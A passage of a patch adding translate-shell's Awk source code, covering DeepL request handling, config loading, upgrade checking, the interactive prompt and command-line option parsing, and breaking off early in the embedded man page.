+/^& (.*) [[:digit:]]+ [[:digit:]]+: ([^,]+)(, ([^,]+))?(, ([^,]+))?/,
+group)
+if (RSTART) {
+ExitCode = 1
+word = group[1]
+sug = "[" group[2]
+if (group[4]) sug = sug "|" group[4]
+if (group[6]) sug = sug "|" group[6]
+sug = sug "]"
+j = i + index(substr(text, i), word) - 1
+r = r substr(text, i, j - i)
+r = r ansi("bold", ansi("red", word)) ansi("yellow", sug)
+i = j + length(word)
+}
+}
+r = r substr(text, i)
+return r
+}
+function aspellTranslate(text, sl, tl, hl,
+isVerbose, toSpeech, returnPlaylist, returnIl) {
+return spellTranslate(text, sl, tl, hl)
+}
+function hunspellTranslate(text, sl, tl, hl,
+isVerbose, toSpeech, returnPlaylist, returnIl) {
+return spellTranslate(text, sl, tl, hl)
+}
+BEGIN { provides("deepl") }
+function deeplInit() {
+HttpProtocol = "http://"
+HttpHost = "www.deepl.com"
+HttpPort = 80
+}
+function deeplRequestUrl(text, sl, tl, hl) {
+}
+function deeplTTSUrl(text, tl,    narrator) {
+}
+function deeplWebTranslateUrl(uri, sl, tl, hl) {
+}
+function deeplPost(text, sl, tl, hl,
+content, data, url) {
+data = "{\"jsonrpc\":\"2.0\",\"method\":\"LMT_handle_jobs\","
+data = data "\"params\":{\"jobs\":[{\"kind\":\"default\","
+data = data "\"raw_en_sentence\":" parameterize(text, "\"") "}],"
+data = data "\"lang\":{\"user_preferred_langs\":[\"" hl "\"],"
+data = data "\"source_lang_user_selected\":\"" sl "\","
+data = data "\"target_lang\":\"" tl "\"},"
+data = data "\"priority\":1},\"id\":1}"
+l(data)
+url = "https://www.deepl.com/jsonrpc"
+content = curlPost(url, data)
+return assert(content, "[ERROR] Null response.")
+}
+function deeplTranslate(text, sl, tl, hl,
+isVerbose, toSpeech, returnPlaylist, returnIl,
+r,
+content, tokens, ast,
+_sl, _tl, _hl, il,
+translation, translations,
+wShowOriginal, wShowTranslation,
+wShowLanguages, wShowAlternatives,
+group, temp) {
+if (!getCode(tl)) {
+w("[WARNING] Unknown target language code: " tl)
+} else if (isRTL(tl)) {
+if (!FriBidi)
+w("[WARNING] " getName(tl) " is a right-to-left language, but FriBidi is not found.")
+}
+_sl = getCode(sl); if (!_sl) _sl = sl
+_tl = getCode(tl); if (!_tl) _tl = tl
+_hl = getCode(hl); if (!_hl) _hl = hl
+if (_sl != "auto") _sl = toupper(_sl)
+if (_tl != "auto") _tl = toupper(_tl)
+if (_hl != "auto") _hl = toupper(_hl)
+content = deeplPost(text, _sl, _tl, _hl)
+if (Option["dump"])
+return content
+tokenize(tokens, content)
+parseJson(ast, tokens)
+l(content, "content", 1, 1)
+l(tokens, "tokens", 1, 0, 1)
+l(ast, "ast")
+if (!isarray(ast) || !anything(ast)) {
+e("[ERROR] Oops! Something went wrong and I can't translate it for you :(")
+ExitCode = 1
+return
+}
+saveSortedIn = PROCINFO["sorted_in"]
+PROCINFO["sorted_in"] = "compareByIndexFields"
+for (i in ast) {
+if (i ~ "^0" SUBSEP "result" SUBSEP "translations" SUBSEP 0 SUBSEP "beams" SUBSEP "[[:digit:]]+" SUBSEP "postprocessed_sentence$") {
+append(translations, uprintf(unquote(unparameterize(ast[i]))))
+}
+}
+PROCINFO["sorted_in"] = saveSortedIn
+translation = translations[0]
+returnIl[0] = il = tolower(unparameterize(ast[0 SUBSEP "result" SUBSEP "source_lang"]))
+if (Option["verbose"] < -1)
+return il
+else if (Option["verbose"] < 0)
+return getList(il)
+if (!isVerbose) {
+r = translation
+} else {
+wShowOriginal = Option["show-original"]
+wShowTranslation = Option["show-translation"]
+wShowLanguages = Option["show-languages"]
+wShowAlternatives = Option["show-alternatives"]
+if (length(translations) <= 1) wShowAlternatives = 0
+if (wShowOriginal) {
+if (r) r = r RS RS
+r = r m("-- display original text")
+r = r prettify("original", s(text, il))
+}
+if (wShowTranslation) {
+if (r) r = r RS RS
+r = r m("-- display major translation")
+r = r prettify("translation", s(translation, tl))
+}
+if (wShowLanguages) {
+if (r) r = r RS RS
+r = r m("-- display source language -> target language")
+temp = Option["fmt-languages"]
+if (!temp) temp = "[ %s -> %t ]"
+split(temp, group, /(%s|%S|%t|%T)/)
+r = r prettify("languages", group[1])
+if (temp ~ /%s/)
+r = r prettify("languages-sl", getDisplay(il))
+if (temp ~ /%S/)
+r = r prettify("languages-sl", getName(il))
+r = r prettify("languages", group[2])
+if (temp ~ /%t/)
+r = r prettify("languages-tl", getDisplay(tl))
+if (temp ~ /%T/)
+r = r prettify("languages-tl", getName(tl))
+r = r prettify("languages", group[3])
+}
+if (wShowAlternatives) {
+if (r) r = r RS
+r = r m("-- display alternative translations")
+r = r RS ins(1, prettify("alternatives-translations-item", translations[1]))
+for (i = 2; i < length(translations); i++)
+r = r RS ins(1, prettify("alternatives-translations-item", translations[i]))
+}
+}
+if (toSpeech) {
+returnPlaylist[0]["text"] = translation
+returnPlaylist[0]["tl"] = tl
+}
+return r
+}
+function loadOptions(script,    i, j, tokens, name, value) {
+tokenize(tokens, script)
+for (i in tokens) {
+if (tokens[i] ~ /^:/) {
+name = substr(tokens[i], 2)
+value = tokens[i + 1]
+if (value ~ /^[+-]?((0|[1-9][0-9]*)|[.][0-9]*|(0|[1-9][0-9]*)[.][0-9]*)([Ee][+-]?[0-9]+)?$/) {
+delete Option[name]
+Option[name] = value
+} else if (value == "false" || value == "true") {
+delete Option[name]
+Option[name] = yn(value)
+} else if (value ~ /^".*"$/) {
+delete Option[name]
+Option[name] = literal(value)
+} else if (value == "[") {
+delete Option[name]
+for (j = 1; tokens[i + j + 1] && tokens[i + j + 1] != "]"; j++) {
+if (tokens[i + j + 1] ~ /^".*"$/)
+Option[name][j] = literal(tokens[i + j + 1])
+else {
+e("[ERROR] Malformed configuration.")
+return
+}
+}
+} else {
+e("[ERROR] Malformed configuration.")
+return
+}
+}
+}
+}
+function upgrade(    i, newVersion, registry, tokens) {
+RegistryIndex = "https://raw.githubusercontent.com/soimort/translate-shell/registry/index.trans"
+registry = curl(RegistryIndex)
+if (!registry) {
+e("[ERROR] Failed to check for upgrade.")
+ExitCode = 1
+return
+}
+tokenize(tokens, registry)
+for (i in tokens)
+if (tokens[i] == ":translate-shell")
+newVersion = literal(tokens[i + 1])
+if (newerVersion(newVersion, Version)) {
+w("Current version: \t" Version)
+w("New version available: \t" newVersion)
+w("Download from: \t" "https://www.soimort.org/translate-shell/trans")
+} else {
+w("Current version: \t" Version)
+w("Already up-to-date.")
+}
+}
+function welcome() {
+if (Option["fmt-welcome-message"])
+print prettify("welcome-message", Option["fmt-welcome-message"]) > STDERR
+if (Option["fmt-welcome-submessage"])
+print prettify("welcome-submessage", Option["fmt-welcome-submessage"]) > STDERR
+}
+function prompt(    i, p, temp) {
+p = Option["fmt-prompt"]
+if (p ~ /%a/) gsub(/%a/, strftime("%a"), p)
+if (p ~ /%A/) gsub(/%A/, strftime("%A"), p)
+if (p ~ /%b/) gsub(/%b/, strftime("%b"), p)
+if (p ~ /%B/) gsub(/%B/, strftime("%B"), p)
+if (p ~ /%c/) gsub(/%c/, strftime("%c"), p)
+if (p ~ /%C/) gsub(/%C/, strftime("%C"), p)
+if (p ~ /%d/) gsub(/%d/, strftime("%d"), p)
+if (p ~ /%D/) gsub(/%D/, strftime("%D"), p)
+if (p ~ /%e/) gsub(/%e/, strftime("%e"), p)
+if (p ~ /%F/) gsub(/%F/, strftime("%F"), p)
+if (p ~ /%g/) gsub(/%g/, strftime("%g"), p)
+if (p ~ /%G/) gsub(/%G/, strftime("%G"), p)
+if (p ~ /%h/) gsub(/%h/, strftime("%h"), p)
+if (p ~ /%H/) gsub(/%H/, strftime("%H"), p)
+if (p ~ /%I/) gsub(/%I/, strftime("%I"), p)
+if (p ~ /%j/) gsub(/%j/, strftime("%j"), p)
+if (p ~ /%m/) gsub(/%m/, strftime("%m"), p)
+if (p ~ /%M/) gsub(/%M/, strftime("%M"), p)
+if (p ~ /%n/) gsub(/%n/, strftime("%n"), p)
+if (p ~ /%p/) gsub(/%p/, strftime("%p"), p)
+if (p ~ /%r/) gsub(/%r/, strftime("%r"), p)
+if (p ~ /%R/) gsub(/%R/, strftime("%R"), p)
+if (p ~ /%u/) gsub(/%u/, strftime("%u"), p)
+if (p ~ /%U/) gsub(/%U/, strftime("%U"), p)
+if (p ~ /%V/) gsub(/%V/, strftime("%V"), p)
+if (p ~ /%w/) gsub(/%w/, strftime("%w"), p)
+if (p ~ /%W/) gsub(/%W/, strftime("%W"), p)
+if (p ~ /%x/) gsub(/%x/, strftime("%x"), p)
+if (p ~ /%X/) gsub(/%X/, strftime("%X"), p)
+if (p ~ /%y/) gsub(/%y/, strftime("%y"), p)
+if (p ~ /%Y/) gsub(/%Y/, strftime("%Y"), p)
+if (p ~ /%z/) gsub(/%z/, strftime("%z"), p)
+if (p ~ /%Z/) gsub(/%Z/, strftime("%Z"), p)
+if (p ~ /%_/)
+gsub(/%_/, showTranslationsOf(Option["hl"]), p)
+if (p ~ /%l/)
+gsub(/%l/, getDisplay(Option["hl"]), p)
+if (p ~ /%L/)
+gsub(/%L/, getName(Option["hl"]), p)
+if (p ~ /%S/)
+gsub(/%S/, getName(Option["sl"]), p)
+if (p ~ /%t/) {
+temp = getDisplay(Option["tl"][1])
+for (i = 2; i <= length(Option["tl"]); i++)
+temp = temp "+" getDisplay(Option["tl"][i])
+gsub(/%t/, temp, p)
+}
+if (p ~ /%T/) {
+temp = getName(Option["tl"][1])
+for (i = 2; i <= length(Option["tl"]); i++)
+temp = temp "+" getName(Option["tl"][i])
+gsub(/%T/, temp, p)
+}
+if (p ~ /%,/) {
+temp = getDisplay(Option["tl"][1])
+for (i = 2; i <= length(Option["tl"]); i++)
+temp = temp "," getDisplay(Option["tl"][i])
+gsub(/%,/, temp, p)
+}
+if (p ~ /%</) {
+temp = getName(Option["tl"][1])
+for (i = 2; i <= length(Option["tl"]); i++)
+temp = temp "," getName(Option["tl"][i])
+gsub(/%</, temp, p)
+}
+if (p ~ /%\//) {
+temp = getDisplay(Option["tl"][1])
+for (i = 2; i <= length(Option["tl"]); i++)
+temp = temp "/" getDisplay(Option["tl"][i])
+gsub(/%\//, temp, p)
+}
+if (p ~ /%\?/) {
+temp = getName(Option["tl"][1])
+for (i = 2; i <= length(Option["tl"]); i++)
+temp = temp "/" getName(Option["tl"][i])
+gsub(/%\?/, temp, p)
+}
+printf(prettify("prompt", p), getDisplay(Option["sl"])) > STDERR
+}
+function repl(line,    command, group, name, i, value, words) {
+split(line, words, " ")
+command = words[1]
+if (command ~ /^:(q|quit)$/) {
+exit
+} else if (command ~ /^:set$/) {
+name = words[2]
+value = words[3]
+Option[name] = value
+} else if (command ~ /^:show$/) {
+name = words[2]
+print prettify("welcome-submessage", toString(Option[name], 1, 0, 1))
+} else if (command ~ /^:engine$/) {
+value = words[2]
+Option["engine"] = value
+initHttpService()
+} else {
+match(command, /^[{(\[]?([[:alpha:]][[:alpha:]][[:alpha:]]?(-[[:alpha:]][[:alpha:]][[:alpha:]]?[[:alpha:]]?)?)?(:|=)((@?[[:alpha:]][[:alpha:]][[:alpha:]]?(-[[:alpha:]][[:alpha:]][[:alpha:]]?[[:alpha:]]?)?\+)*(@?[[:alpha:]][[:alpha:]][[:alpha:]]?(-[[:alpha:]][[:alpha:]][[:alpha:]]?[[:alpha:]]?)?)?)[})\]]?$/, group)
+if (RSTART) {
+if (group[1]) Option["sl"] = group[1]
+if (group[4]) split(group[4], Option["tl"], "+")
+line = words[2]
+for (i = 3; i <= length(words); i++)
+line = line " " words[i]
+}
+if (line) {
+translate(line)
+if (Option["verbose"]) printf RS
+}
+}
+prompt()
+}
+function init() {
+initGawk()
+initBiDi()
+initLocale()
+initUserLang()
+RS = "\n"
+ExitCode = 0
+Option["debug"] = 0
+Option["engine"] = "google"
+Option["verbose"] = 1
+Option["show-original"] = 1
+Option["show-original-phonetics"] = 1
+Option["show-translation"] = 1
+Option["show-translation-phonetics"] = 1
+Option["show-prompt-message"] = 1
+Option["show-languages"] = 1
+Option["show-original-dictionary"] = 0
+Option["show-dictionary"] = 1
+Option["show-alternatives"] = 1
+Option["width"] = ENVIRON["COLUMNS"] ? ENVIRON["COLUMNS"] - 2 : 0
+Option["indent"] = 4
+Option["no-ansi"] = 0
+Option["no-autocorrect"] = 0
+Option["no-bidi"] = 0
+Option["no-warn"] = 0
+Option["theme"] = "default"
+Option["dump"] = 0
+Option["play"] = 0
+Option["narrator"] = "female"
+Option["player"] = ENVIRON["PLAYER"]
+Option["no-translate"] = 0
+Option["download-audio"] = 0
+Option["download-audio-as"] = NULLSTR
+Option["view"] = 0
+Option["pager"] = ENVIRON["PAGER"]
+Option["browser"] = ENVIRON["BROWSER"]
+Option["proxy"] = ENVIRON["HTTP_PROXY"] ? ENVIRON["HTTP_PROXY"] : ENVIRON["http_proxy"]
+Option["user-agent"] = ENVIRON["USER_AGENT"] ? ENVIRON["USER_AGENT"] :
+"Mozilla/5.0 (X11; Linux x86_64) "\
+"AppleWebKit/602.1 (KHTML, like Gecko) Version/8.0 "\
+"Safari/602.1 Epiphany/3.18.2"
+Option["no-rlwrap"] = 0
+Option["interactive"] = 0
+Option["emacs"] = 0
+Option["input"] = NULLSTR
+Option["output"] = STDOUT
+Option["hl"] = ENVIRON["HOME_LANG"] ? ENVIRON["HOME_LANG"] : UserLang
+Option["sl"] = ENVIRON["SOURCE_LANG"] ? ENVIRON["SOURCE_LANG"] : "auto"
+Option["tl"][1] = ENVIRON["TARGET_LANG"] ? ENVIRON["TARGET_LANG"] : UserLang
+}
+function initScript(    file, line, script, temp) {
+file = ".trans"
+if (!fileExists(file)) {
+file = ENVIRON["HOME"] "/.translate-shell/init.trans"
+if (!fileExists(file)) {
+file = ENVIRON["XDG_CONFIG_HOME"] "/translate-shell/init.trans"
+if (!fileExists(file)) {
+file = ENVIRON["HOME"] "/.config/translate-shell/init.trans"
+if (!fileExists(file)) {
+file = "/etc/translate-shell"
+if (!fileExists(file)) return
+}
+}
+}
+}
+InitScript = file
+script = NULLSTR
+while (getline line < InitScript)
+script = script "\n" line
+loadOptions(script)
+if (!isarray(Option["tl"])) {
+temp = Option["tl"]
+delete Option["tl"]
+Option["tl"][1] = temp
+}
+}
+function initMisc(    group, temp) {
+initHttpService()
+if (!Option["width"] && detectProgram("tput", "-V")) {
+"tput cols" SUPERR | getline temp
+Option["width"] = temp ? temp - 2 : 64
+}
+if (Option["no-ansi"])
+delete AnsiCode
+if (Option["no-bidi"])
+BiDi = BiDiNoPad = NULLSTR
+if (Option["no-warn"])
+STDERR = "/dev/null"
+if (Option["play"]) {
+if (!Option["player"]) {
+initAudioPlayer()
+Option["player"] = AudioPlayer ? AudioPlayer : Option["player"]
+if (!Option["player"])
+initSpeechSynthesizer()
+}
+if (!Option["player"] && !SpeechSynthesizer) {
+w("[WARNING] No available audio player or speech synthesizer.")
+Option["play"] = 0
+}
+}
+if (Option["view"]) {
+if (!Option["pager"]) {
+initPager()
+Option["pager"] = Pager
+}
+if (!Option["pager"]) {
+w("[WARNING] No available terminal pager.")
+Option["view"] = 0
+}
+}
+if (!Option["browser"]) {
+"xdg-mime query default text/html" SUPERR | getline Option["browser"]
+match(Option["browser"], "(.*).desktop$", group)
+Option["browser"] = group[1]
+}
+}
+BEGIN {
+init()
+if (!(belongsTo("-no-init", ARGV) || belongsTo("--no-init", ARGV)))
+initScript()
+pos = 0
+noargc = 0
+while (ARGV[++pos]) {
+match(ARGV[pos], /^--?(V|vers(i(on?)?)?)$/)
+if (RSTART) {
+InfoOnly = "version"
+continue
+}
+match(ARGV[pos], /^--?(H|h(e(lp?)?)?)$/)
+if (RSTART) {
+InfoOnly = "help"
+continue
+}
+match(ARGV[pos], /^--?(M|m(a(n(u(al?)?)?)?)?)$/)
+if (RSTART) {
+InfoOnly = "manual"
+continue
+}
+match(ARGV[pos], /^--?(T|ref(e(r(e(n(ce?)?)?)?)?)?)$/)
+if (RSTART) {
+InfoOnly = "reference"
+continue
+}
+match(ARGV[pos], /^--?r$/)
+if (RSTART) {
+w("[WARNING] Option '-r' has been deprecated since version 0.9.\n"\
+"          Use option '-T' or '-reference' instead.")
+exit 1
+}
+match(ARGV[pos], /^--?(R|reference-e(n(g(l(i(sh?)?)?)?)?)?)$/)
+if (RSTART) {
+InfoOnly = "reference-english"
+continue
+}
+match(ARGV[pos], /^--?(L|list)(=(.*)?)?$/, group)
+if (RSTART) {
+InfoOnly = "list"
+if (group[2]) {
+if (group[3]) split(group[3], Option["tl"], "+")
+} else
+split(ARGV[++pos], Option["tl"], "+")
+continue
+}
+match(ARGV[pos], /^--?(S|list-e(n(g(i(n(es?)?)?)?)?)?)$/)
+if (RSTART) {
+InfoOnly = "list-engines"
+continue
+}
+match(ARGV[pos], /^--?(U|upgrade)$/)
+if (RSTART) {
+InfoOnly = "upgrade"
+continue
+}
+match(ARGV[pos], /^--?(N|nothing)$/)
+if (RSTART) {
+InfoOnly = "nothing"
+continue
+}
+match(ARGV[pos], /^--?(e|engine)(=(.*)?)?$/, group)
+if (RSTART) {
+Option["engine"] = group[2] ?
+(group[3] ? group[3] : Option["engine"]) :
+ARGV[++pos]
+continue
+}
+match(ARGV[pos], /^\/(.*)$/, group)
+if (RSTART) {
+Option["engine"] = group[1]
+continue
+}
+match(ARGV[pos], /^--?verbose$/)
+if (RSTART) {
+Option["verbose"] = 1
+continue
+}
+match(ARGV[pos], /^--?b(r(i(ef?)?)?)?$/)
+if (RSTART) {
+Option["verbose"] = 0
+continue
+}
+match(ARGV[pos], /^--?d(i(c(t(i(o(n(a(ry?)?)?)?)?)?)?)?)?$/)
+if (RSTART) {
+Option["show-original-dictionary"] = 1
+Option["show-dictionary"] = 0
+Option["show-alternatives"] = 0
+continue
+}
+match(ARGV[pos], /^--?id(e(n(t(i(fy?)?)?)?)?)?$/)
+if (RSTART) {
+Option["verbose"] = Option["verbose"] - 2
+continue
+}
+match(ARGV[pos], /^--?show-original(=(.*)?)?$/, group)
+if (RSTART) {
+Option["show-original"] = yn(group[1] ? group[2] : ARGV[++pos])
+continue
+}
+match(ARGV[pos], /^--?show-original-phonetics(=(.*)?)?$/, group)
+if (RSTART) {
+Option["show-original-phonetics"] = yn(group[1] ? group[2] : ARGV[++pos])
+continue
+}
+match(ARGV[pos], /^--?show-translation(=(.*)?)?$/, group)
+if (RSTART) {
+Option["show-translation"] = yn(group[1] ? group[2] : ARGV[++pos])
+continue
+}
+match(ARGV[pos], /^--?show-translation-phonetics(=(.*)?)?$/, group)
+if (RSTART) {
+Option["show-translation-phonetics"] = yn(group[1] ? group[2] : ARGV[++pos])
+continue
+}
+match(ARGV[pos], /^--?show-prompt-message(=(.*)?)?$/, group)
+if (RSTART) {
+Option["show-prompt-message"] = yn(group[1] ? group[2] : ARGV[++pos])
+continue
+}
+match(ARGV[pos], /^--?show-languages(=(.*)?)?$/, group)
+if (RSTART) {
+Option["show-languages"] = yn(group[1] ? group[2] : ARGV[++pos])
+continue
+}
+match(ARGV[pos], /^--?show-original-dictionary(=(.*)?)?$/, group)
+if (RSTART) {
+Option["show-original-dictionary"] = yn(group[1] ? group[2] : ARGV[++pos])
+continue
+}
+match(ARGV[pos], /^--?show-dictionary(=(.*)?)?$/, group)
+if (RSTART) {
+Option["show-dictionary"] = yn(group[1] ? group[2] : ARGV[++pos])
+continue
+}
+match(ARGV[pos], /^--?show-alternatives(=(.*)?)?$/, group)
+if (RSTART) {
+Option["show-alternatives"] = yn(group[1] ? group[2] : ARGV[++pos])
+continue
+}
+match(ARGV[pos], /^--?w(i(d(th?)?)?)?(=(.*)?)?$/, group)
+if (RSTART) {
+Option["width"] = group[4] ?
+(group[5] ? group[5] : Option["width"]) :
+ARGV[++pos]
+continue
+}
+match(ARGV[pos], /^--?indent(=(.*)?)?$/, group)
+if (RSTART) {
+Option["indent"] = group[1] ?
+(group[2] ? group[2] : Option["indent"]) :
+ARGV[++pos]
+continue
+}
+match(ARGV[pos], /^--?theme(=(.*)?)?$/, group)
+if (RSTART) {
+Option["theme"] = group[1] ?
+(group[2] ? group[2] : Option["theme"]) :
+ARGV[++pos]
+continue
+}
+match(ARGV[pos], /^--?no-theme$/)
+if (RSTART) {
+Option["theme"] = NULLSTR
+continue
+}
+match(ARGV[pos], /^--?no-ansi$/)
+if (RSTART) {
+Option["no-ansi"] = 1
+continue
+}
+match(ARGV[pos], /^--?no-auto(correct)?$/)
+if (RSTART) {
+Option["no-autocorrect"] = 1
+continue
+}
+match(ARGV[pos], /^--?no-bidi/)
+if (RSTART) {
+Option["no-bidi"] = 1
+continue
+}
+match(ARGV[pos], /^--?no-warn/)
+if (RSTART) {
+Option["no-warn"] = 1
+continue
+}
+match(ARGV[pos], /^--?dump/)
+if (RSTART) {
+Option["dump"] = 1
+continue
+}
+match(ARGV[pos], /^--?p(l(ay?)?)?$/)
+if (RSTART) {
+Option["play"] = 1
+continue
+}
+match(ARGV[pos], /^--?sp(e(ak?)?)?$/)
+if (RSTART) {
+Option["play"] = 2
+continue
+}
+match(ARGV[pos], /^--?(n|narrator)(=(.*)?)?$/, group)
+if (RSTART) {
+if (!Option["play"]) Option["play"] = 1
+Option["narrator"] = group[2] ?
+(group[3] ? group[3] : Option["narrator"]) :
+ARGV[++pos]
+continue
+}
+match(ARGV[pos], /^--?player(=(.*)?)?$/, group)
+if (RSTART) {
+if (!Option["play"]) Option["play"] = 1
+Option["player"] = group[1] ?
+(group[2] ? group[2] : Option["player"]) :
+ARGV[++pos]
+continue
+}
+match(ARGV[pos], /^--?no-play$/)
+if (RSTART) {
+Option["play"] = 0
+continue
+}
+match(ARGV[pos], /^--?no-tran(s(l(a(te?)?)?)?)?$/)
+if (RSTART) {
+Option["no-translate"] = 1
+continue
+}
+match(ARGV[pos], /^--?download-a(u(d(io?)?)?)?$/)
+if (RSTART) {
+Option["download-audio"] = 1
+continue
+}
+match(ARGV[pos], /^--?download-audio-as(=(.*)?)?$/, group)
+if (RSTART) {
+if (!Option["download-audio"]) Option["download-audio"] = 1
+Option["download-audio-as"] = group[1] ?
+(group[2] ? group[2] : Option["download-audio-as"]) :
+ARGV[++pos]
+continue
+}
+match(ARGV[pos], /^--?v(i(ew?)?)?$/)
+if (RSTART) {
+Option["view"] = 1
+continue
+}
+match(ARGV[pos], /^--?pager(=(.*)?)?$/, group)
+if (RSTART) {
+Option["view"] = 1
+Option["pager"] = group[1] ?
+(group[2] ? group[2] : Option["pager"]) :
+ARGV[++pos]
+continue
+}
+match(ARGV[pos], /^--?no-view$/)
+if (RSTART) {
+Option["view"] = 0
+continue
+}
+match(ARGV[pos], /^--?browser(=(.*)?)?$/, group)
+if (RSTART) {
+Option["browser"] = group[1] ?
+(group[2] ? group[2] : Option["browser"]) :
+ARGV[++pos]
+continue
+}
+match(ARGV[pos], /^--?(x|proxy)(=(.*)?)?$/, group)
+if (RSTART) {
+Option["proxy"] = group[2] ?
+(group[3] ? group[3] : Option["proxy"]) :
+ARGV[++pos]
+continue
+}
+match(ARGV[pos], /^--?(u|user-agent)(=(.*)?)?$/, group)
+if (RSTART) {
+Option["user-agent"] = group[2] ?
+(group[3] ? group[3] : Option["user-agent"]) :
+ARGV[++pos]
+continue
+}
+match(ARGV[pos], /^--?(I|int(e(r(a(c(t(i(ve?)?)?)?)?)?)?)?|shell)$/)
+if (RSTART) {
+Option["interactive"] = 1
+continue
+}
+match(ARGV[pos], /^--?(E|emacs)$/)
+if (RSTART) {
+Option["emacs"] = 1
+continue
+}
+match(ARGV[pos], /^--?no-rlwrap$/)
+if (RSTART) {
+Option["no-rlwrap"] = 1
+continue
+}
+match(ARGV[pos], /^--?prompt(=(.*)?)?$/, group)
+if (RSTART) {
+w("[ERROR] Option '-prompt' has been deprecated since version 0.9.\n"\
+"        Use configuration variable 'fmt-prompt' instead.")
+exit 1
+}
+match(ARGV[pos], /^--?prompt-color(=(.*)?)?$/, group)
+if (RSTART) {
+w("[ERROR] Option '-prompt-color' has been deprecated since version 0.9.\n"\
+"        Use configuration variable 'sgr-prompt' instead.")
+exit 1
+}
+match(ARGV[pos], /^--?i(n(p(ut?)?)?)?(=(.*)?)?$/, group)
+if (RSTART) {
+Option["input"] = group[4] ?
+(group[5] ? group[5] : Option["input"]) :
+ARGV[++pos]
+continue
+}
+match(ARGV[pos], /^--?o(u(t(p(ut?)?)?)?)?(=(.*)?)?$/, group)
+if (RSTART) {
+Option["output"] = group[5] ?
+(group[6] ? group[6] : Option["output"]) :
+ARGV[++pos]
+continue
+}
+match(ARGV[pos], /^--?(l(a(ng?)?)?|hl)(=(.*)?)?$/, group)
+if (RSTART) {
+Option["hl"] = group[4] ?
+(group[5] ? group[5] : Option["hl"]) :
+ARGV[++pos]
+continue
+}
+match(ARGV[pos], /^--?(s(o(u(r(ce?)?)?)?|l)?|f|from)(=(.*)?)?$/, group)
+if (RSTART) {
+Option["sl"] = group[6] ?
+(group[7] ? group[7] : Option["sl"]) :
+ARGV[++pos]
+continue
+}
+match(ARGV[pos], /^--?t(a(r(g(et?)?)?)?|l|o)?(=(.*)?)?$/, group)
+if (RSTART) {
+if (group[5]) {
+if (group[6]) split(group[6], Option["tl"], "+")
+} else
+split(ARGV[++pos], Option["tl"], "+")
+continue
+}
+match(ARGV[pos], /^[{(\[]?([[:alpha:]][[:alpha:]][[:alpha:]]?(-[[:alpha:]][[:alpha:]][[:alpha:]]?[[:alpha:]]?)?)?(:|=)((@?[[:alpha:]][[:alpha:]][[:alpha:]]?(-[[:alpha:]][[:alpha:]][[:alpha:]]?[[:alpha:]]?)?\+)*(@?[[:alpha:]][[:alpha:]][[:alpha:]]?(-[[:alpha:]][[:alpha:]][[:alpha:]]?[[:alpha:]]?)?)?)[})\]]?$/, group)
+if (RSTART) {
+if (group[1]) Option["sl"] = group[1]
+if (group[4]) split(group[4], Option["tl"], "+")
+continue
+}
+match(ARGV[pos], /^--?(D|debug)$/)
+if (RSTART) {
+Option["debug"] = 1
+continue
+}
+match(ARGV[pos], /^--?no-init/)
+if (RSTART) continue
+match(ARGV[pos], /^-(-?no-op)?$/)
+if (RSTART) continue
+match(ARGV[pos], /^--$/)
+if (RSTART) {
+++pos
+break
+}
+noargv[noargc++] = ARGV[pos]
+}
+if (Option["interactive"] && !Option["no-rlwrap"])
+rlwrapMe()
+else if (Option["emacs"] && !Option["interactive"] && !Option["no-rlwrap"])
+if (emacsMe())
+Option["interactive"] = 1
+initMisc()
+switch (InfoOnly) {
+case "version":
+print getVersion()
+exit ExitCode
+case "help":
+print getHelp()
+exit ExitCode
+case "manual":
+showMan()
+exit ExitCode
+case "reference":
+print getReference("endonym")
+exit ExitCode
+case "reference-english":
+print getReference("name")
+exit ExitCode
+case "list":
+print getList(Option["tl"])
+exit ExitCode
+case "list-engines":
+for (translator in Translator)
+print (Option["engine"] == translator ? "* " : "  ") translator
+exit ExitCode
+case "upgrade":
+upgrade()
+exit ExitCode
+case "nothing":
+exit ExitCode
+}
+setTheme()
+if (Option["interactive"])
+welcome()
+if (pos < ARGC)
+for (i = pos; i < ARGC; i++)
+noargv[noargc++] = ARGV[i]
+if (noargc) {
+for (i = 0; i < noargc; i++) {
+if (Option["verbose"] && i > pos)
+p(prettify("source-seperator", replicate(Option["chr-source-seperator"], Option["width"])))
+translate(noargv[i], 1)
+}
+} else {
+if (!Option["input"]) Option["input"] = STDIN
+}
+if (Option["input"])
+translateMain()
+exit ExitCode
+}
+EOF
+read -r -d '' TRANS_MANPAGE << 'EOF'
+.\" Automatically generated by Pandoc 2.1.1
+.\"
+.TH "TRANS" "1" "2018\-03\-17" "0.9.6.7" ""
+.hy
+.SH NAME
+.PP
+trans \- Command\-line translator using Google Translate, Bing
+Translator, Yandex.Translate, DeepL Translator, etc.
+.SH SYNOPSIS
+.PP
+\f[B]trans\f[] [\f[I]OPTIONS\f[]] [\f[I]SOURCE\f[]]:[\f[I]TARGETS\f[]]
+[\f[I]TEXT\f[]]...
+.SH DESCRIPTION
+.PP
+This tool translates text into any language from the command\-line,
+using a translation engine such as Google Translate, Bing Translator and
+Yandex.Translate.
+.PP
+Each argument which is not a valid option is treated as \f[I]TEXT\f[] to
+be translated.
+.PP
+If neither \f[I]TEXT\f[] nor the input file is specified by
+command\-line arguments, the program will read and translate from
+standard input.
+.SH OPTIONS
+.SS Information options
+.TP
+.B \f[B]\-V\f[], \f[B]\-version\f[]
+Print version and exit.
+.RS
+.RE
+.TP
+.B \f[B]\-H\f[], \f[B]\-help\f[]
+Print help message and exit.
+.RS
+.RE
+.TP
+.B \f[B]\-M\f[], \f[B]\-man\f[]
+Show man page and exit.
+.RS
+.RE
+.TP
+.B \f[B]\-T\f[], \f[B]\-reference\f[]
+Print reference table of all supported languages and codes, and exit.
+Names of languages are displayed in their endonyms (language name in the
+language itself).
+.RS
+.RE
+.TP
+.B \f[B]\-R\f[], \f[B]\-reference\-english\f[]
+Print reference table of all supported languages and codes, and exit.
+Names of languages are displayed in English.
+.RS
+.RE
+.TP
+.B \f[B]\-L\f[] \f[I]CODES\f[], \f[B]\-list\f[] \f[I]CODES\f[]
+Print details of languages and exit.
+When specifying two or more language codes, concatenate them by plus
+sign "+".
+.RS
+.RE
+.TP
+.B \f[B]\-S\f[], \f[B]\-list\-engines\f[]
+List available translation engines and exit.
+.RS
+.RE
+.TP
+.B \f[B]\-U\f[], \f[B]\-upgrade\f[]
+Check for upgrade of this program.
+.RS
+.RE
+.SS Translator options
+.TP
+.B \f[B]\-e\f[] \f[I]ENGINE\f[], \f[B]\-engine\f[] \f[I]ENGINE\f[]
+Specify the translation engine to use.
+(default: google)
+.RS
+.RE
+.SS Display options
+.TP
+.B \f[B]\-verbose\f[]
+Verbose mode.
+.RS
+.PP
